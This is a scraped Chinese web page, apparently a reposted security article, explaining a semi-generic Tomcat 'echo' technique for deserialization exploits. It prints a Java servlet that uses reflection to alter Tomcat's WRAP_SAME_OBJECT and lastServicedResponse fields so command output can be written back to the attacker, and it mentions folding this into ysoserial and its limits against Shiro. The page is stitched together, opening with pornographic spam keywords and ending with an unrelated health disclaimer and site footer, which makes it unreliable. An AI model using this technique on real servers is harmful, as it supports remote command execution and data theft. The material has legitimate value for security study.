亚洲精品久久久久久第一页-人妻少妇精彩视品一区二区三区-91国产自拍免费视频-免费一级a在线播放视频正片-少妇天天日天天射天天爽-国产大屁股喷水视频在线观看-操美女骚穴抽插性爱视频-亚洲 欧美 中文字幕 丝袜-成人免费无码片在线观看

系統(tǒng)自動返顯方法 數(shù)據(jù)回顯是什么意思( 三 )


坑點記錄#開始想直接獲取內(nèi)部類發(fā)現(xiàn)思路不通,后來采用getDeclaredClasses方法獲取某類中所有內(nèi)部的內(nèi)部類遍歷,判斷類名傳遞定位到該類 。獲取global遍歷的時候出現(xiàn)了巨坑,直接反射去獲取 。但是未意識到創(chuàng)建是一個class對象,反射使用get方法必須傳遞實例 。獲取到Request需要調(diào)用request.getNote(1);轉(zhuǎn)換為org.apache.catalina.connector.Request的對象 。fanal修飾變量,需做修改,直接獲取報錯 。通過調(diào)用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象文章鏈接
0x02 Tomcat半通用回顯#基于Tomcat中一種半通用回顯方法該篇文來調(diào)試一下 。
根據(jù)前文思路順著堆棧一路向下查看Request和Response存儲位置,只要獲取到一個實例即可 。
順著思路,在org.apache.catalina.core.ApplicationFilterChain位置發(fā)現(xiàn)符合條件的變量 。
下面尋找賦值位置,發(fā)現(xiàn)在這個位置對request,response進(jìn)行實例的存儲 。但是默認(rèn)為False
思路如下:
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,讓代碼邏輯走到if條件里面
2、初始化lastServicedRequest和lastServicedResponse兩個變量,默認(rèn)為null
3、從lastServicedResponse中獲取當(dāng)前請求response,并且回顯內(nèi)容 。
自己嘗試構(gòu)造了一下
package com;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();servletResponse.getWriter().write("111");} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}同理,可集成到y(tǒng)so中,反序列化命令執(zhí)行結(jié)果借助該servletResponse 。
局限#在shiro反序列化漏洞的利用中并不能成功,發(fā)現(xiàn)request,response的設(shè)置是在漏洞觸發(fā)點之后,所以在觸發(fā)漏洞執(zhí)行任意java代碼時獲取不到我們想要的response 。其原因是因為rememberMe功能的實現(xiàn)是使用了自己實現(xiàn)的filter 。


以上關(guān)于本文的內(nèi)容,僅作參考!溫馨提示:如遇健康、疾病相關(guān)的問題,請您及時就醫(yī)或請專業(yè)人士給予相關(guān)指導(dǎo)!

「愛刨根生活網(wǎng)」www.malaban59.cn小編還為您精選了以下內(nèi)容,希望對您有所幫助: